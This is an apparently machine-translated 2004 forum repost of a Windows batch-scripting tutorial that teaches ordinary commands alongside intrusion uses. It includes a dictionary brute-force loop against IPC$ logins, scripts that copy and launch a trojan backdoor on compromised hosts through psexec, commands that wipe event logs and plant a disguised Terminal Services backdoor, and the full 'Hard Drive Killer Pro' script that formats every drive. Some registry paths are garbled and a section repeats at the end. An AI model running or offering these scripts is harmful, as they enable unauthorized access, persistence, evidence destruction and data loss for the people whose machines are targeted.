China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-12 14:19
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » [Repost] Detailed Explanation of DOS Batch Commands I View 1,724 Replies 8
Original Poster Posted 2004-11-08 00:00 ·  中国 福建 厦门 电信
系统支持
★★★
Credits 904
Posts 339
Joined 2002-10-10 00:00
23-year member
UID 1904
From 厦门
Status Offline
### Detailed Explanation of DOS Batch Processing Commands I. Introduction to Simple Batch Processing Internal Commands
1. Echo Command
Turn on or off the request echo function, or display a message. If there are no parameters, the echo command will display the current echo setting.
Syntax
echo
Sample: @echo off / echo hello world
In practical applications, we will combine this command with the redirection symbol (also called the pipe symbol, generally using > >> ^) to implement inputting some commands into files in a specific format. This will be reflected in subsequent examples.


2. @ Command
Indicates not to display the command after @. In the process of intrusion (such as using a batch to format the enemy's hard disk), of course, you cannot let the other party see the commands you use.
Sample: @echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (The format command cannot use the /y parameter. Fortunately, Microsoft has left the autoset parameter for us, and the effect is the same as /y.)


3. Goto Command
Specify to jump to a label. After finding the label, the program will process the commands starting from the next line.
Syntax: goto label (label is a parameter, specifying the line in the batch program to which it is to be transferred.)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms (If you don't understand if, %1, %2 here, skip it first, and there will be detailed explanations later.)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
The name of the label can be chosen arbitrarily, but it is better to have meaningful letters. A colon is added before the letter to indicate that this letter is a label. The goto command finds where to jump next according to this colon. It is best to have some explanations so that others can understand your intention.


4. Rem Command
Comment command, which is equivalent to /*--------*/ in C language. It will not be executed, but only plays a role of comment, which is convenient for others to read and for your own future modification.
Rem Message
Sample: @Rem Here is the description.


5. Pause Command
When the Pause command is run, the following message will be displayed:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
In this example, all files on the disk in drive A are copied to d:\back. When the displayed comment prompts you to put another disk into drive A, the pause command will suspend the program so that you can change the disk, and then press any key to continue processing.


6. Call Command
Call another batch program from one batch program, and the parent batch program is not terminated. The call command accepts the label used as the call target. If used outside a script or batch file, Call will not work on the command line.
Syntax
call FileName ] ]
Parameters
FileName
Specify the location and name of the batch program to be called. The filename parameter must have the .bat or .cmd extension.


7. start Command
Call an external program. All DOS commands and command-line programs can be called by the start command.
Common parameters for intrusion:
MIN Start the window minimized
SEPARATE Start a 16-bit Windows program in a separate space
HIGH Start the application in the HIGH priority category
REALTIME Start the application in the REALTIME priority category
WAIT Start the application and wait for it to end
parameters These are parameters passed to the command/program
When the executed application is a 32-bit GUI application, CMD.EXE returns to the command prompt without waiting for the application to terminate. If it is executed in a command script, this new behavior will not occur.
8. choice Command
The choice command allows the user to enter a character, thereby running different commands. When using it, the /c: parameter should be added. The characters that can be entered should be written after c:, with no spaces in between. Its return code is 1234......
For example: choice /c:dme defrag,mem,end
It will display
defrag,mem,end?
Sample:
The content of Sample.bat is as follows:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (Should judge the highest numerical error code first)
if errorlevel 2 goto mem
if errotlevel 1 goto end


:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye


After this file is run, it will display defrag,mem,end? The user can choose d m e, and then the if statement will make a judgment. d means executing the program segment marked defrag, m means executing the program segment marked mem, e means executing the program segment marked end. Each program segment finally uses goto end to jump the program to the end label, and then the program will display good bye, and the file ends.


9. If Command


if means to judge whether the specified condition is met, so as to decide to execute different commands. There are three formats:
1. if "parameter" == "string"   command to be executed
If the parameter is equal to the specified string, the condition is true, run the command, otherwise run the next sentence. (Note that there are two equal signs)
For example, if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms


2. if exist filename  command to be executed
If the specified file exists, the condition is true, run the command, otherwise run the next sentence.
For example, if exist config.sys edit config.sys


3. if errorlevel / if not errorlevel number  command to be executed
If the return code is equal to the specified number, the condition is true, run the command, otherwise run the next sentence.
For example, if errorlevel 2 goto x2  
All DOS programs return a number to DOS when running, called the error code errorlevel or return code. The common return codes are 0 and 1.


10. for Command
The for command is a relatively complex command, mainly used to execute commands in a loop within a specified range of parameters.
When using the FOR command in a batch file, use %%variable to specify the variable.


for {%variable│%%variable} in (set) do command
%variable specifies a single letter replaceable parameter.
(set) specifies one or a group of files. Wildcards can be used.
command specifies the command to be executed for each file.
command-parameters specify parameters or command-line switches for a specific command.
When using the FOR command in a batch file, use %%variable to specify the variable instead of %variable. The variable name is case-sensitive, so %i is different from %I


If command extensions are enabled, the following additional FOR command formats will be supported:


FOR /D %variable IN (set) DO command


If wildcards are included in the set, it means matching directory names instead of file names.



FOR /R path] %variable IN (set) DO command


path, and point to the FOR statement in each directory. If no directory is specified after /R, the current directory is used. If the set is only a single dot (.) character, enumerate the directory tree.



FOR /L %variable IN (start,step,end) DO command







%variable IN (file-set) DO command
FOR /F %variable IN ("string" DO command
FOR /F %variable IN ('command' DO command


Or, if the usebackq option is available:



FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string" DO command
FOR /F %variable IN ('command' DO command


filenameset is one or more file names. Before continuing to the next file in filenameset, each file has been opened, read, and processed.
Processing includes reading the file, dividing it into lines of text, and then parsing each line into zero or more symbols. Then the for loop is called with the symbol string variable value found. By default, /F separates through the first blank symbol in each line of each file. Skip blank lines. You can replace the default parsing operation by specifying the optional "options" parameter. This quoted string includes one or more keywords specifying different parsing options. These keywords are:



eol=c - refers to the end of a line comment character (just one)
skip=n - refers to the number of lines to be ignored at the beginning of the file.
delims=xxx - refers to the delimiter set. This replaces the default delimiter set of spaces and tabs.
tokens=x,y,m-n - refers to which symbols of each line are passed to each iteration of for itself. This will lead to the format of additional variable names as a range. Specify the last character star of the m symbol string through the nth symbol,
then the additional variables will be allocated and accept the reserved text of the line after the last symbol parsing.
usebackq - specifies that the new syntax has been used in the following situations:
When executing a backquoted string as a command and the quote character is a literal string command and allows the use of double quotes to enclose file names in fi.



sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command


It will analyze each line in myfile.txt, ignore those lines starting with a semicolon, and pass the second and third symbols in each line to the for program body; delimited by commas and/or spaces. Please note that the statement of this for program body refers to %i to get the second symbol, refers to %j to get the third symbol, and refers to %k to get all the remaining symbols after the third symbol. For file names with spaces, you need to enclose the file name with double quotes. In order to use double quotes in this way, you also need to use the usebackq option, otherwise, the double quotes will be understood as being used to define a string to be analyzed.



%i is specifically explained in the for statement, and %j and %k are specifically explained through the tokens= option. You can specify up to 26 symbols in a line through tokens=, as long as you do not try to explain a variable higher than the letter 'z' or 'Z'. Please remember that FOR variables are single letters, case-sensitive, and global; at the same time, there cannot be more than 52 in use.



You can also use the FOR /F analysis logic on adjacent strings; the method is to enclose the filenameset between parentheses with single quotes. In this way, the string will be regarded as a single input line in a file.
Floor 2 Posted 2004-11-08 00:00 ·  中国 福建 厦门 电信
系统支持
★★★
Credits 904
Posts 339
Joined 2002-10-10 00:00
23-year member
UID 1904
From 厦门
Status Offline
Finally, you can use the FOR /F command to analyze the output of a command. The method is to turn the filenameset between the parentheses into a back-quoted string. This string will be treated as a command line and passed to a sub CMD.EXE, and its output will be captured into memory and treated as a file for analysis. Therefore, the following example:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

will enumerate the environment variable names in the current environment.

In addition, the replacement of FOR variable references has been enhanced. You can now use the following option syntax:

~I - Remove any quotes (", expand %I
%~fI - Expand %I to a fully qualified path name
%~dI - Expand %I to only a drive letter
%~pI - Expand %I to only a path
%~nI - Expand %I to only a file name
%~xI - Expand %I to only a file extension
%~sI - The expanded path only contains short names
%~aI - Expand %I to the file attributes of the file
%~tI - Expand %I to the date/time of the file
%~zI - Expand %I to the size of the file
%~$PATH:I - Find the directory listed in the path environment variable and expand %I to the first fully qualified name found. If the environment variable is not defined or the file is not found, this combination key will expand to an empty string

You can combine modifiers to get multiple results:

%~dpI - Expand %I to only a drive letter and path
%~nxI - Expand %I to only a file name and extension
%~fsI - Expand %I to a full path name with a short name
%~dp$PATH:i - Find the directory listed in the path environment variable and expand %I to the first drive letter and path found.
%~ftzaI - Expand %I to a DIR-like output line

In the above examples, %I and PATH can be replaced with other valid values. The %~ syntax is terminated with a valid FOR variable name. Choosing an uppercase variable name like %I is easier to read and avoids confusion with case-insensitive combination keys.

The above is the official help from MS. Next, we will give a few examples to specifically illustrate the use of the For command in intrusions.

Sample 2:

Use the For command to implement brute-force password cracking on a target Win2k host. We use net use \\ip\ipc$ "password" /u:"administrator" to try to connect with the target host. When successful, record the password. The main command is a single line: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" to represent the password of admin with i%, and take the value of i% in dict.txt to connect with the net use command. Then pass the program running result to the find command - for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt, and that's it.

Sample 3:

Do you ever have a large number of zombie computers waiting for you to plant backdoors + trojans? When the number is particularly large, what was originally a happy thing will become very depressing . The article mentioned at the beginning that using batch files can simplify daily or repetitive tasks. So how to achieve it? Hehe, you will understand when you read on.

There is also only one main command: (when using the FOR command in a batch file, specify the variable using %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
The usage of tokens is shown in sample 1 above. Here it means to pass the content in victim.txt to the parameters %i %j %k in door.bat in sequence.
And cultivate.bat is nothing more than using the net use command to establish an IPC$ connection, and copy the trojan + backdoor to the victim, then use the return code (If errorlever =) to screen the host where the backdoor is successfully planted, and echo it out, or echo to a specified file.
delims= means that the content in vivtim.txt is separated by a space. I think you must also understand what the content in this victim.txt is like by seeing here. It should be arranged according to the objects represented by %%i %%j %%k. Generally, it is ip password username.
Code outline:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------




------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
This is just a prototype of an automatic backdoor planting batch. The two batch files, the backdoor program (Windrv32.exe), and PSexec.exe need to be placed in the same directory. The content of the batch file can be expanded. For example, add functions like clearing logs + DDOS, adding users regularly, and more deeply can make it have automatic propagation functions (worms). No more details here. Friends who are interested can study it by themselves.

II. How to use parameters in batch files
Parameters can be used in batch processing. Generally, there are nine parameters from 1% to 9%. When there are multiple parameters, shift is needed to move, and this situation is not common, so we don't consider it.
Sample 1: format.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto format
This example is used to continuously format several floppy disks, so when using it, you need to enter format.bat a in the dos window. Hehe, it seems a bit redundant ~
Sample 2:
When we always have to enter a long string of commands to establish an IPC$ connection, and it is easy to make mistakes, so it is better to write some fixed commands into a batch file, and use the ip password username of the zombie computer as parameters to assign to this batch file, so that we don't have to type the commands every time.
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" Note that here PASSWORD is the second parameter.
@if errorlevel 1 echo connection failed
How about, using parameters is still relatively simple? You must have learned it. No.3
III. How to use compound commands (Compound Command)

1. &

Usage: First command & Second command

In this way, multiple commands can be executed at the same time, regardless of whether the command is executed successfully

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif

2. &&

Usage: First command && Second command

In this way, multiple commands can be executed at the same time. When an executed command is found to be wrong, the subsequent commands will not be executed. If there is no error all the time, all commands will be executed until the end;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

This command may be simpler when doing backups, such as:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup
If the backup.mdb file exists on the remote server, the copy command will be executed. If the file does not exist, the copy command will not be executed. This usage can replace IF exist .

3. ||

Usage: First command || Second command

In this way, multiple commands can be executed at the same time. When an executed correct command is found, the subsequent commands will not be executed. If no correct command appears, all commands will be executed until the end;

Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

Example of using compound commands:
Sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

IV. Use of pipeline commands

1. | command
Usage: First command | Second command
Use the result of the first command as the parameter of the second command. Remember that this method is very common in unix.




Sample:
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
Did you see it? It is used for terminal services to allow us to customize the starting program for users, to realize letting users run the following bat to obtain the IP of the logged-in user.

2. >, >> output redirection command
Redirect the output result of a command or a certain program to a specific file. The difference between > and >> is that > will clear the content in the original file and then write to the specified file, while >> will only append the content to the specified file without changing its content.

Sample 1:
echo hello world>c:\hello.txt (stupid example?)

Sample 2:
Nowadays, DLL trojans are popular. We know that system32 is a good place to hide. Many trojans are eager to get in there, and DLL trojans are no exception. In response to this, we can make a record of the EXE and DLL files in this directory after installing the system and necessary applications:
Run CMD--convert the directory to system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
In this way, the names of all EXE and DLL files are respectively recorded in exeback.txt and dllback.txt,
In the future, if an abnormality is found but the problem cannot be found by traditional methods, it is necessary to consider whether a DLL trojan has infiltrated the system.
At this time, we use the same command to record the EXE and DLL files in system32 to another exeback1.txt and dllback1.txt, then run:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt. (Compare the DLL and EXE files of the two times with the FC command and input the result into diff.txt), in this way we can find some extra DLL and EXE files, and then by checking the creation time, version, whether it is compressed, etc., we can more easily judge whether it has been visited by a DLL trojan. It is best if there is none. If there is, don't delete it directly. First use regsvr32 /u trojan.dll to unregister the backdoor DLL file, then move it to the recycle bin. If there is no abnormal reflection in the system, then delete it completely or submit it to the antivirus software company.

3. <, >&, <&
< reads command input from a file instead of from the keyboard.
>& writes the output of one handle to the input of another handle.
<& reads input from one handle and writes it to the output of another handle.
These are not commonly used, so no more introduction.

No.5
V. How to use batch files to operate the registry

In the intrusion process, it is often necessary to operate specific key values in the registry to achieve certain purposes. For example, to hide the backdoor, delete the residual key value under Run, or create a service to load the backdoor. Of course, we will also modify the registry to strengthen the system or change a certain attribute of the system. These all require us to have a certain understanding of registry operations. Next, we will first learn how to use.REG files to operate the registry. (We can use batch processing to generate a REG file)
Regarding registry operations, the common ones are creation, modification, and deletion.

1. Creation
Creation is divided into two types, one is to create a subkey (Subkey)

We create a file with the following content:

Windows Registry Editor Version 5.00



Then execute this script, and you have created a subkey named "hacker" under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.

Another type is to create a project name
Then this file format is a typical file format, consistent with the file format you export from the registry. The content is as follows:

Windows Registry Editor Version 5.00


"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02

In this way, three projects: Invader, door, about are newly created under
The type of Invader is "String value"
The type of door is "REG SZ value"
The type of Autodos is "DWORD value"




2. Modification
Modification is relatively simple. Just export the item you need to modify, then modify it with Notepad, and then import it (regedit /s).

3. Deletion
First, let's talk about deleting an item name. We create a file as follows:

Windows Registry Editor Version 5.00


"Ex4rch"=-

Execute this script, and "Ex4rch" under is deleted;

Let's take a look at deleting a subkey. We create a script as follows:

Windows Registry Editor Version 5.00



Execute this script, and has been deleted.

I believe that by this time, you have basically mastered the.REG file. Then the current goal is to use batch processing to create a.reg file with specific content. Remember that we mentioned earlier that using the redirection symbol can easily create a file of a specific type.
Floor 3 Posted 2004-11-08 00:00 ·  中国 福建 厦门 电信
系统支持
★★★
Credits 904
Posts 339
Joined 2002-10-10 00:00
23-year member
UID 1904
From 厦门
Status Offline
Sample 1: As in the above example, if you want to generate the following registry file
Windows Registry Editor Version 5.00




"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
Just need to do this:
@echo Windows Registry Editor Version 5.00>>Sample.reg



@echo >>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg



Sample 2:
When we are using some relatively old trojans, we may generate a key value under in the registry to achieve the self-start of the trojan. But this is very easy to expose the path of the trojan program, thus leading to the trojan being detected. Relatively, if the trojan program is registered as a system service, it is relatively safer. The following takes the configured IRC trojan DSNX as an example (named windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll



@REM
@REM This is safer.



VI. Exciting examples for you.
1. Batch file to delete the default shares of win2k/xp system
------------------------ cut here then save as .bat or .cmd file ---------------------------



@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off



:Rem check parameters if null show usage.
if {%1}=={} goto :Usage



:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo >> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END



:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF



:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.



:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------



2. Batch file for comprehensively reinforcing the system (patching the infected computer)
------------------------ cut here then save as .bat or .cmd file ---------------------------



@echo Windows Registry Editor Version 5.00 >patch.dll
@echo >>patch.dll



@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM



@echo >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM



@echo >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM



@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM



@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM
@regedit /s patch.dll



------------------------ cut here then save as .bat or .cmd file ---------------------------



The following command is to clear all logs of the infected computer, prohibit some dangerous services, and modify the terminal service of the infected computer to leave a backdoor.
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem



@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM



@echo >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo

>>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM



3. Hard Drive Killer Pro Version 4.0 (It's really not easy to play batch processing to this level.)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.



set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z



rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.



echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat



cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.



echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat



cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.



echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat



cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.



echo :enddc >>drivechk.bat



rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".



rem Now we will use the program drivechk.bat to attain valid drive information.



:Sampledrv



for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c



:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat



echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat



:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2" do %%%%a >>c:\temp.bat
echo for %%%%a in ("&gt;ass_hole.txt" do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
Floor 4 Posted 2004-11-08 00:00 ·  中国 福建 厦门 电信
系统支持
★★★
Credits 904
Posts 339
Joined 2002-10-10 00:00
23-year member
UID 1904
From 厦门
Status Offline
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .


for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).

Six. Wonderful Examples.
1. Batch file to delete the default shares of the win2k/xp system
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage

:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
